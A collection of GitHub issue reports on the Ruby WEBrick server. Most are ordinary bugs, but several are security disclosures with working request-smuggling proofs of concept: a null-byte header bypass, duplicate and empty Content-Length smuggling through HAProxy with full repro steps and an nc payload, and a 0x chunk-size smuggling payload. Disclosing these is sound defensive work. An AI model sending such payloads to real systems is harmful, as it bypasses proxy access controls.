Webrick version 1.7.0

When MAX_URI_LENGTH of 2083 is exceeded, instead of failing with the expected HTTPStatus::RequestURITooLarge it instead fails with:

ERROR TypeError: can't convert nil into an exact number
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:275:in `-'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:275:in `minus_with_duration'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/activesupport-5.2.8.1/lib/active_support/core_ext/time/calculations.rb:286:in `minus_with_coercion'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/accesslog.rb:112:in `setup_params'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:223:in `access_log'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:115:in `ensure in run'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/httpserver.rb:115:in `run'
	/Users/matthewhively/.rvm/gems/ruby-2.5.7/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'

httpserver.rb#run() catches the error, but then as part of the ensure block it throws another error.

So the actual issue I suppose is that the ensure block shouldn't be failing, even with some other error condition.

And an additional question:
Why is the MAX_URI_LENGTH remain at a value from 2010 for internet explorer? bd7388d

In /lib/webrick/httpresponse.rb:295 the location response header is modified to include the request URI, creating an absolute URI. However, relative URIs are allowed in the location field. (See https://datatracker.ietf.org/doc/html/rfc7231#section-7.1.2).

This causes issues with reverse proxies and other proxy software. For instance, Hashicorp Boundary proxies a TCP connection through localhost using an ephemeral port to a destination web server. Because webrick does not allow relative URIs in this field, the client navigates to the resource on the wrong host or port (because the request port from the proxy != the client port to the proxy).

I think this segment of code should be removed entirely.

We use a server config where Webrick also handles HTTPS. When a connection is aborted, an exception is logged. For example:

$ nc localhost 8443
$ cat server.log
2021-05-26T11:52:34  [E] <OpenSSL::SSL::SSLError> SSL_accept SYSCALL returned=5 errno=0 state=before SSL initialization
        /usr/share/ruby/webrick/server.rb:299:in `accept'
        /usr/share/ruby/webrick/server.rb:299:in `block (2 levels) in start_thread'
        /usr/share/ruby/webrick/utils.rb:263:in `timeout'
        /usr/share/ruby/webrick/server.rb:297:in `block in start_thread'
        /usr/share/gems/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'

This comes from:

It does look like various basic network errors are caught and ignored, but SSL errors can fall in the same category (such as this one). Not everything should be logged at the error level. I'm not sure how it should exactly be dealt with (or I'd submit a patch instead of a PR) so I'm looking for input on this.

Could you please remove BODY_CONTAINABLE_METHODS check:
Allow POSt and PUT methods with empty body and without Content-Length=0 header

When WEBrick shutdowns, it tries to concurrently write and close a file descriptor, and even tries to close it from multiple threads:

closing it from the main webrick thread:

closing it from an arbitrary thread:

writing to it (from an arbitrary thread):

A hack:

The problem is if the write_nonblock which calls write(2) ends up happening once the fd is close(2)d then it's EBADF, or worse writing to the wrong file descriptor.
This became such an issue that ruby/spec stopped using WEBrick and rewrote to make its own HTTP server to avoid this issue. Also the commit message of ruby/spec@d8ead5d may be interesting.

Only one thread (e.g. the main webrick thread) should close it, and it should wait all sub-threads before closing it so there are concurrent writes to the close.

CRuby has some very complex logic in IO#close which avoids the issue in most cases but it's not clear if it's fully reliable: https://ruby.slack.com/archives/C02A3SL0S/p1636604027275700?thread_ts=1636592668.266300&cid=C02A3SL0S
IIRC I've seen it fail for ruby/spec too on CRuby.

cc @ioquatix

Given this rack app

run Proc.new { raise Exception }

Run with

rackup -s webrick exception_200.ru
[2018-05-02 16:41:36] INFO  WEBrick 1.4.2
[2018-05-02 16:41:36] INFO  ruby 2.5.0 (2017-12-25) [x86_64-darwin16]
[2018-05-02 16:41:36] INFO  WEBrick::HTTPServer#start: pid=36207 port=9292
[2018-05-02 16:41:59] ERROR Exception: Exception
	/Users/gmartin-dempesy/x/exception_200.ru:1:in `block (2 levels) in <main>'

Returns this response

curl -v 0:9292
* Rebuilt URL to: 0:9292/
*   Trying 0.0.0.0...
* TCP_NODELAY set
* Connected to 0 (127.0.0.1) port 9292 (#0)
> GET / HTTP/1.1
> Host: 0:9292
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: WEBrick/1.4.2 (Ruby/2.5.0/2017-12-25)
< Date: Wed, 02 May 2018 23:41:58 GMT
< Content-Length: 0
< Connection: Keep-Alive
<
* Connection #0 to host 0 left intact

I stumbled on this behavior in a Rails app running in the test environment, which by default raises errors due to config.action_dispatch.show_exceptions = false, and a gem that wasn't subclassing its custom exceptions from StandardError.

I believe the gap is this area of code:

I think we're all on the same page that rescuing Exception is not idiomatic due to signal and hardware related exceptions, but the current false-positive acknowledgment situation is dangerous and can cause lost writes.

I'd pitch either:

1. Rescue Exception instead of StandardError when setting the status code
2. Hard-crash, and don't provide any response.

Executing excon test suite with Ruby 3.1 and OpenSSL 3.0, I observe following errors:

  Excon basics (ssl) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[2022-02-23 03:58:50] ERROR OpenSSL::SSL::SSLError: SSL_read: unexpected eof while reading
	/usr/share/ruby/openssl/buffering.rb:80:in `sysread'
	/usr/share/ruby/openssl/buffering.rb:80:in `fill_rbuff'
	/usr/share/ruby/openssl/buffering.rb:332:in `eof?'
	/usr/share/gems/gems/webrick-1.7.0/lib/webrick/httpserver.rb:82:in `run'
	/usr/share/gems/gems/webrick-1.7.0/lib/webrick/server.rb:310:in `block in start_thread'

This reminds me issues I had with Puma. There is also more details in ruby/openssl ticket

Sorry for this noob question but isn't WEBrick a standard gem? I thought being a standard gem meant that there isn't any need to install it, since it comes with Ruby. If that's correct, then why does the README has an "Installation" section instructing us to install it using gem or bundle?

Webrick 1.8.0 is incompatible with rack 2.2.6.2, because it introduced "frozen" strings.
Version 1.7.0 still works.

You can find a minimum example here.

Response array must now be non-frozen.
States rack in the upgrade guide.

According to RFC7231,

A server MUST NOT send any Transfer-Encoding or Content-Length header fields in a 2xx (Successful) response to CONNECT.

However, I tried the example code on https://docs.ruby-lang.org/en/2.2.0/WEBrick/HTTPProxyServer.html

require 'webrick'
require 'webrick/httpproxy'

proxy = WEBrick::HTTPProxyServer.new Port: 8000

trap 'INT'  do proxy.shutdown end
trap 'TERM' do proxy.shutdown end

proxy.start

and sent a request through this proxy

$ ALL_PROXY=http://localhost:8000 curl -I https://www.google.com/

and it showed

HTTP/1.1 200 OK
Server: WEBrick/1.7.0 (Ruby/3.1.0/2021-12-25)
Date: Wed, 26 Jan 2022 03:48:33 GMT
Content-Length: 0
Connection: close

...

You can see the Content-Length header is there, and it does cause problems for some kinds of clients.

There's a license Ruby, BSD-2-Clause on rubygems.org, but in your repo you have only BSD-2-Clause.

Which is the correct one?

I've noticed the constraint on the current WEBrick of ruby 2.5. I have not tried a Travis build on my fork to see if it works with 2.3 or 2.4.

Might the constraint be relaxed to include at least Ruby 2.4?

I checked it against a few local builds I have, and it passed for all the MSYS2 based builds, which is 2.3.5 forward. Also, passed a trunk vc140.

ruby 2.3.5p376 (2017-09-14 revision 59905) [x64-mingw32]   ruby-loco
ruby 2.4.2p198 (2017-09-14 revision 59899) [x64-mingw32]   standard RubyInstaller2

ruby 2.5.0dev  (2017-12-11 trunk 61097) [x64-mswin64_140]  custom vc140 and OpenSSL, zlib
ruby 2.5.0dev  (2017-12-15 trunk 61278) [x64-mingw32]      ruby-loco

It did fail on the current RubyInstaller build, 2.3.3.

Below is info from the 2.3 tests, not sure about the issue with 2.3.5...

Thanks, Greg

Ruby 2.3.3 - current RubyInstaller 2.3 build

  1) Failure:
TestWEBrickHTTPS#test_sni [E:/GitHub/webrick/test/webrick/utils.rb:64]:
exceptions on 1 threads:
#<Thread:0x000000031f4d90@E:/GitHub/webrick/test/webrick/utils.rb:57 dead>:
E:/GitHub/webrick/test/lib/minitest/unit.rb:201:in `assert': <"/CN=vhost1"> expected but was
<"/CN=localhost">. (MiniTest::Assertion)
        from E:/GitHub/webrick/test/lib/test/unit/assertions.rb:37:in `assert'
        from E:/GitHub/webrick/test/lib/test/unit/assertions.rb:298:in `assert_equal'
        from E:/GitHub/webrick/test/webrick/test_https.rb:41:in `https_get'
        from E:/GitHub/webrick/test/webrick/test_https.rb:93:in `block in test_sni'
        from E:/GitHub/webrick/test/webrick/utils.rb:59:in `block in start_server'

101 tests, 713 assertions, 1 failures, 0 errors, 0 skips

ruby -v: ruby 2.3.3p222 (2016-11-21 revision 56859) [x64-mingw32]

Ruby 2.3.5 - Custom RubyInstaller2 / ruby-loco build

[ 27/101] TestWEBrickHTTPProxy#test_connect
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:324: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:324: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
E:/r_builds/not_trunk/23_2.3.5/ruby23_64/lib/ruby/2.3.0/openssl/buffering.rb:181: warning: SSL session is not started yet.
 = 2.90 s

101 tests, 718 assertions, 0 failures, 0 errors, 0 skips

ruby -v: ruby 2.3.5p376 (2017-09-14 revision 59905) [x64-mingw32]
WEBrick::VERSION 1.4.0.beta1

Dependabot created a security alert for webrick package at one of our repositories. It says patched version is 2.2.8. But webrick has latest version as 1.8.1 which we have already.

It looks an issue on dependabot database to me. Do you have any insight about this issue?

I have a proxy server running in a thread:

@server = WEBrick::HTTPProxyServer.new(ServerType: Thread, BindAddress: host, Port: port)

when process exists I call @server.shutdown but it hangs forever so that I have to send Ctrl+C. While debugging this issue I figured that def do_CONNECT(req, res) which binds a socket os = TCPSocket.new(host, port) sometimes in ensure block has os set to nil. Which leads me to a question if https://github.com/ruby/ruby/blob/55c771c302f94f1d1d95bf41b42459b4d2d1c337/ext/socket/ipsocket.c#L187 socket can be nil if we take into account inetsock_cleanup(VALUE v) which returns return Qnil;

I fixed the issue by adding raise HTTPStatus::EOFError unless os in ensure block so that we don't interact with the rest of descriptors. Other note is that none of the rescue blocks were called in do_CONNECT.

Update: I still assume that TCPSocket.new returns a socket or raises an error, but in my case I have no idea how I end up with nil as a socket even though we call thgroup.list.each{|th| th.join if th[:WEBrickThread] } in shutdown. Maybe because ruby starts to terminate all threads because main thread exits?

No matter what I try, I can't get passed https://github.com/ruby/webrick/blob/master/lib/webrick/httpresponse.rb#L272-L273. HTTPResponse does not seem to have a mechanism for connection upgrades.

Hey,

I am wondering how webrick's built-in timeout handler works with SSL. When I create an app with :RequestTimeout => 10 it works for HTTP endpoint but not for HTTPS endpoint:

# time telnet localhost 443
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

And the connection is stuck forever in ESTABILISHED TCP state.

Is this expected to work or in case of OpenSSL the reading mechanism is different?

We have installed omsagent on server, which also install ruby : https://github.com/microsoft/OMS-Agent-for-Linux

If we curl ruby port localhost:25324, we can see ruby version in the output:

If the ruby version is displayed then it can lead to security concerns as it is regularly getting flagged in their pentest.
So you would like to check if it is possible to hide the ruby version information.
As per our research we might need to modify webrick configurations but we cannot find the same in terms of omsagent.

From the RFC:

It uses the server nonce from that challenge, herein called
nonce-prime, and the client nonce value from the response, herein
called cnonce-prime, to construct A1 as follows:

    A1       = H( unq(username) ":" unq(realm) ":" passwd )
                   ":" unq(nonce-prime) ":" unq(cnonce-prime)

this is not applied here, which is not using the usernamme and realm in the construction of the A1 value.

Hi,

Testing the latest release (1.8.1) with Ruby 2.7.4, I see the following test failures:

F
==========================================================================================================
     71:       io.rewind
     72:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     73:       assert_equal '500', res.code
  => 74:       refute_match 'cracked_indicator_for_test', io.string
     75:     end
     76: 
     77:     def test_prevent_response_splitting_headers_lf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:74:in `test_prevent_response_splitting_cookie_headers_cr'
Failure: test_prevent_response_splitting_cookie_headers_cr(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
     50:       io.rewind
     51:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     52:       assert_equal '500', res.code
  => 53:       refute_match 'cracked_indicator_for_test', io.string
     54:     end
     55: 
     56:     def test_prevent_response_splitting_headers_cr
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:53:in `test_prevent_response_splitting_cookie_headers_crlf'
Failure: test_prevent_response_splitting_cookie_headers_crlf(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
     92:       io.rewind
     93:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     94:       assert_equal '500', res.code
  => 95:       refute_match 'cracked_indicator_for_test', io.string
     96:     end
     97: 
     98:     def test_set_redirect_response_splitting
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:95:in `test_prevent_response_splitting_cookie_headers_lf'
Failure: test_prevent_response_splitting_cookie_headers_lf(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
     60:       io.rewind
     61:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     62:       assert_equal '500', res.code
  => 63:       refute_match 'cracked_indicator_for_test', io.string
     64:     end
     65: 
     66:     def test_prevent_response_splitting_cookie_headers_cr
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:63:in `test_prevent_response_splitting_headers_cr'
Failure: test_prevent_response_splitting_headers_cr(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
     39:       io.rewind
     40:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     41:       assert_equal '500', res.code
  => 42:       refute_match 'cracked_indicator_for_test', io.string
     43:     end
     44: 
     45:     def test_prevent_response_splitting_cookie_headers_crlf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:42:in `test_prevent_response_splitting_headers_crlf'
Failure: test_prevent_response_splitting_headers_crlf(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
F
==========================================================================================================
     81:       io.rewind
     82:       res = Net::HTTPResponse.read_new(Net::BufferedIO.new(io))
     83:       assert_equal '500', res.code
  => 84:       refute_match 'cracked_indicator_for_test', io.string
     85:     end
     86: 
     87:     def test_prevent_response_splitting_cookie_headers_lf
/tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/test/webrick/test_httpresponse.rb:84:in `test_prevent_response_splitting_headers_lf'
Failure: test_prevent_response_splitting_headers_lf(WEBrick::TestHTTPResponse):
  <REGEXP> in assert_not_match(<REGEXP>, ...) should be a Regexp.
  <"cracked_indicator_for_test"> was expected to be instance_of?
  <Regexp> but was
  <String>.
==========================================================================================================
...../tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
......./tmp/guix-build-ruby-webrick-1.8.1.drv-1/source/lib/webrick/httpresponse.rb:260: warning: instance variable @upgrade not initialized
..
Finished in 7.279902005 seconds.
----------------------------------------------------------------------------------------------------------
138 tests, 790 assertions, 6 failures, 0 errors, 0 pendings, 0 omissions, 0 notifications
95.6522% passed
----------------------------------------------------------------------------------------------------------
18.96 tests/s, 108.52 assertions/s
rake aborted!
Command failed with status (1)

Any idea what they could be caused by?

Thanks!

WEBrick strips null bytes from the ends of header values. This presents a problem for reverse proxies that attempt enforce policies about header values and also allow null bytes in header values. At least one popular HTTP proxy server does this.

For example, if I have WEBrick deployed behind a reverse proxy that forwards null bytes in header values, and I add a rule to the reverse proxy to reject all requests with an Evil: evil header, I can bypass the rule by sending the following request:

GET / HTTP/1.1\r\n
Evil: evil\x00\r\n
\r\n

WEBrick should respond 400 to any request containing null bytes in a header value, because it's a violation of the standard, and indicative of a potential attack.

webrick doesn't handle Unicode in HTTP location header, eg. redirection to an URL like http://dxczjjuegupb.cloudfront.net/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg.

[2023-02-17 16:41:33] ERROR URI::InvalidURIError: URI must be ascii only "http://dxczjjuegupb.cloudfront.net/wp-content/uploads/2017/10/\u041E\u0443\u044D\u043D-\u041C\u044D\u0442\u044C\u044E\u0441.jpg"                                                                                                              
        /usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:20:in `split'                                                                                                                                                
        /usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:71:in `parse'                                                                                                                                                
        /usr/local/lib/ruby/3.2.0/uri/rfc3986_parser.rb:111:in `convert_to_uri'                                                                                                                                      
        /usr/local/lib/ruby/3.2.0/uri/generic.rb:1110:in `merge'                                                                                                                                                     
        /usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpresponse.rb:320:in `setup_header'                                                                                                                       
        /usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpresponse.rb:240:in `send_response'                                                                                                                      
        /usr/local/bundle/gems/webrick-1.8.1/lib/webrick/httpserver.rb:112:in `run'                                                                                                                                  
        /usr/local/bundle/gems/webrick-1.8.1/lib/webrick/server.rb:310:in `block in start_thread'

The following code is responsible:

This is because methods such as URI.parse or here URI.merge only handles ASCII.

uri = URI.parse('http://dxczjjuegupb.cloudfront.net')
uri.merge('/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg').to_s
/home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:20:in `split': URI must be ascii only "/wp-content/uploads/2017/10/\u041E\u0443\u044D\u043D-\u041C\u044D\u0442\u044C\u044E\u0441.jpg" (URI::InvalidURIError)                                                                                                                                                                      
        from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:71:in `parse'                                                                                   
        from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/rfc3986_parser.rb:111:in `convert_to_uri'                                                                         
        from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/3.2.0/uri/generic.rb:1110:in `merge'                                                                                        
        from (irb):9:in `<main>'                                                                                                                                                        
        from /home/noraj/.asdf/installs/ruby/3.2.0/lib/ruby/gems/3.2.0/gems/irb-1.6.2/exe/irb:11:in `<top (required)>'                                                                  
        from /home/noraj/.asdf/installs/ruby/3.2.0/bin/irb:25:in `load'                                                                                                                 
        from /home/noraj/.asdf/installs/ruby/3.2.0/bin/irb:25:in `<main>'

So URL or fragments should be escaped first, with CGI.escape for URL component and URI::Parser.new.escape for full URLs.

Examples in https://github.com/noraj/ctf-party/blob/master/lib/ctf_party/cgi.rb.

cf. https://stackoverflow.com/questions/46849219/ruby-uriinvalidurierror-uri-must-be-ascii-only/75487328

patched code:

uri.merge(CGI.escape('/wp-content/uploads/2017/10/Оуэн-Мэтьюс.jpg')).to_s
# => "http://dxczjjuegupb.cloudfront.net/%2Fwp-content%2Fuploads%2F2017%2F10%2F%D0%9E%D1%83%D1%8D%D0%BD-%D0%9C%D1%8D%D1%82%D1%8C%D1%8E%D1%81.jpg"

Based on the README it feels like WEBrick can only serve static files.

Suggestion/feature request: add a link to where more example can be found, ex: https://docs.ruby-lang.org/en/2.4.0/WEBrick.html
Cheers!

When making a PUT/POST request with an empty body, we're seeing all requests hang forever. This seems to have started since 069e9b1. Reverting to version 1.6.1 takes us back to the previous behaviour (which is an instant 411 response).

@OsamaSayegh shared some details in #30:

It seems like WEBrick still doesn't allow POST/PUT requests with empty body, but the difference now is that the server doesn't respond with a 411, instead the request is blocked forever because the server gets stuck at the eof call here:

webrick/lib/webrick/httprequest.rb

Line 525 in cda6d40

elsif BODY_CONTAINABLE_METHODS.member?(@request_method) && !@socket.eof

I can repro with this script:

require 'webrick'

class Simple < WEBrick::HTTPServlet::AbstractServlet
def do_GET(req, res)
    puts "Hello world!"
    res.status = 200
    res.body = "Hello world!"
  end

  alias do_POST do_GET
end
server = WEBrick::HTTPServer.new(Port: 9988)                                                                                                                                                                                                                                    
server.logger.level = 5
server.mount '/', Simple
server.start

And:

~ » curl -X POST --verbose localhost:9988
*   Trying 127.0.0.1:9988...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 9988 (#0)
> POST / HTTP/1.1
> Host: localhost:9988
> User-Agent: curl/7.68.0
> Accept: */*
>
# blocks forever; I have to Ctrl+C it

Abstract

WEBrick is vulnerable to request smuggling when it is deployed behind a reverse proxy with the following two properties:

1. Can be coerced into emitting requests containing two Content-Length headers, of which the first is empty.
2. Prioritizes the second Content-Length header over the first.

HAProxy exhibited both of these behaviors until a few days ago. See CVE-2023-40225 for details.

WEBrick is vulnerable for two reasons:

1. It interprets empty Content-Length headers to have a value of 0, and
2. It prioritizes the first received Content-Length header over the rest if a request contains multiple Content-Length headers.

I suggest that WEBrick start rejecting messages with empty or multiple different Content-Length values. This is what most other web servers do, including Nginx, Apache, Lighttpd, H2O, IIS, Node.js, and LiteSpeed.

PoC Description

Suppose that we have WEBrick deployed behind a reverse proxy with the aforementioned properties (e.g. HAProxy 2.8.0) that has an ACL rule blocking access to the /evil directory on the WEBrick host.

The following payload will bypass the ACL rule:

GET / HTTP/1.1\r\n
Content-Length: \r\n
Content-Length: 43\r\n
\r\n
POST /evil HTTP/1.1\r\n
Content-Length: 18\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

This works because HAProxy sees the payload as two GET requests for /, but WEBrick sees the payload as a GET request for / and a POST request for /evil.

PoC Reproduction Steps

0. Start with a fresh installation of Alpine Linux (docker run --workdir /repro -it alpine:3.18.0)
1. Build and install Ruby:

cd /repro
apk add git autoconf gcc musl-dev make ruby-dev libffi-dev openssl-dev zlib-dev yaml-dev
git clone --depth 1 "https://github.com/ruby/ruby"
cd ruby
./autogen.sh
./configure
make -j$(nproc)
make install

2. Build and install WEBrick:

cd /repro
git clone "https://github.com/ruby/webrick"
cd webrick
gem build
gem install ./webrick*.gem

3. Build and install HAProxy 2.8.0:

cd /repro
git clone "https://github.com/haproxy/haproxy"
cd haproxy
git checkout v2.8.0
make -j`nproc` TARGET=linux-musl
make install

4. Copy the files from the Files section into the filesystem.
5. Start a WEBrick server on port 8080 that responds 200 to everything:

ruby /repro/server.rb &

6. Start HAProxy on port 80 with an ACL rule blocking access to /evil:

haproxy -f /repro/haproxy.conf &

7. Send the payload to HAProxy:

printf 'GET / HTTP/1.1\r\nContent-Length: \r\nContent-Length: 43\r\n\r\nPOST /evil HTTP/1.1\r\nContent-Length: 18\r\n\r\nGET / HTTP/1.1\r\n\r\n' | nc localhost 80

8. Observe that WEBrick sees a request for /evil, indicating that the ACL has been bypassed:

127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "GET / HTTP/1.1" 200 0
- -> /
...
127.0.0.1 - - [14/Aug/2023:22:37:18 UTC] "POST /evil HTTP/1.1" 200 0
- -> /evil

Files

/repro/server.rb

require 'webrick'

server = WEBrick::HTTPServer.new({:Port => 8080})

server.mount_proc '/' do |request, response|
  response.status = 200
end

server.start()

/repro/haproxy.conf

global
    maxconn 4096

defaults
    mode http
    option http-keep-alive
    timeout client 1s
    timeout connect 1s
    timeout server 1s
    timeout http-request 1s
    http-reuse always

frontend the_frontend
    bind 0.0.0.0:80
    default_backend the_backend
    http-request deny if { path -i -m beg /evil }

backend the_backend
   server server1 localhost:8080

Suggested Fix

WEBrick should reject any message that contains an empty Content-Length header. WEBrick should also reject any message containing multiple Content-Length headers, especially if those headers do not all have the same value. See here for the relevant portion of the standard.

WEBrick allows CR (\r) within header values. RFC 9110 says not to do this:

Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.

The suggested fix here would be to reject requests with headers containing bare CR.

It appears that changes have been made to the "WEBrick 1.4.2" on the CRuby ruby_2_6 branch that were never released as an update to the webrick gem's 1.4.x versions.

Among the missing changes are the fixes for the "response-splitting" CVEs:

• https://www.ruby-lang.org/en/news/2018/03/28/http-response-splitting-in-webrick-cve-2017-17742/
• https://www.ruby-lang.org/en/news/2019/10/01/http-response-splitting-in-webrick-cve-2019-16254/

There are no references to 2017-17742 in webrick's master branch, so I am unsure which commit fixes it. The 2019-16254 CVE fixes were merged in #32, which appears to only be in WEBrick 1.6.0.

CRuby 2.6.6 still reports that it ships WEBrick 1.4.2, but it clearly has significant differences from the released gem. A full diff from WEBrick's v1.4.2 tag and CRuby's ruby_2_6 branch is provided below:

https://gist.github.com/headius/cb184868d6d8b709b8a3f62cd0c275eb

As it stands, I do not know what version of WEBrick the copy in CRuby 2.6.6 corresponds to. It appears to be a hybrid of many different patches, but it is clearly *not 1.4.2.

Changes to gemified libraries included in CRuby must be released via the gem or else it is impossible to track the actual released version of these libraries. Users need to know which version of these libraries they are actually running.

In addition, JRuby exclusively uses released gems for WEBrick and other libraries that have been gemified. Because the WEBRick sources have diverged without an updated release, we fail two specs from ruby/spec/security:

6)
WEBrick resists CVE-2017-17742 for a response splitting headers FAILED
Expected "200" == "500"
to be truthy but was false
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:17:in `block in <main>'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:4555:in `all?'
org/jruby/RubyArray.java:1815:in `each'
org/jruby/RubyArray.java:1815:in `each'
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:7:in `<main>'
org/jruby/RubyKernel.java:1078:in `load'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:1815:in `each'
                                                                                             
7)
WEBrick resists CVE-2017-17742 for a response splitting cookie headers FAILED
Expected "200" == "500"
to be truthy but was false
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:30:in `block in <main>'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:4555:in `all?'
org/jruby/RubyArray.java:1815:in `each'
org/jruby/RubyArray.java:1815:in `each'
/Users/headius/projects/jruby/spec/ruby/security/cve_2017_17742_spec.rb:7:in `<main>'
org/jruby/RubyKernel.java:1078:in `load'
org/jruby/RubyBasicObject.java:2695:in `instance_exec'
org/jruby/RubyArray.java:1815:in `each'

These specs fail because the released WEBrick 1.4.2 still ships the vulnerable code.

WEBrick may need a new 1.4.x release that corresponds to the sources in CRuby 2.6.6.

CRuby will need new releases of affected branches that report the correct version of WEBrick that they include.

In the interim, we (JRuby) would appreciate help determining what version of WEBrick to include in our Ruby 2.5 and Ruby 2.6-compatible branches (for JRuby 9.2.12 this week and JRuby 9.3 later this summer).

When WEBrick receives a request containing an invalid chunk size, it is interpreted as its longest valid prefix. Thus, chunk sizes that begin with 0x are treated as equivalent to 0.

To see why this is a security problem, consider the following payload:

POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0x3a\r\n\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\n\r\n

WEBrick sees it as a POST request for /, followed by a GET for /evil:

POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\n
GET /evil HTTP/1.1\r\n
Content-Length: 23\r\n
E: vil\r\n
Evil: \r\n
\r\n
0\r\n\r\nGET / HTTP/1.1\r\n\r\n

Unfortunately, some HTTP servers ignore 0x prefixes in chunk sizes due to bad parsing logic. Thus, many servers see a POST request for / and a GET request for /:

POST / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0x3a\r\n
\r\nGET /evil HTTP/1.1\r\nContent-Length: 23\r\nE: vil\r\nEvil: \r\n\r\n
0\r\n
\r\n
